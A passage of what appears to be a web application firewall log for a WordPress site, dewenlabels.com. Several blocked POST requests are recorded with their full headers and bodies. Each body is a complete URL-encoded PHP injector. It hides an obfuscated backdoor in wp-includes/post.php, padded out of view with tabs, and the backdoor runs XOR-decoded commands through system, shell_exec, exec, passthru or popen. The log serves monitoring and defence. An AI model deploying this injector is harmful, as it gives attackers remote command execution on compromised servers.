7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:36","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5178\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:38","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5178\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nZK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:46","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5178\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nWE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2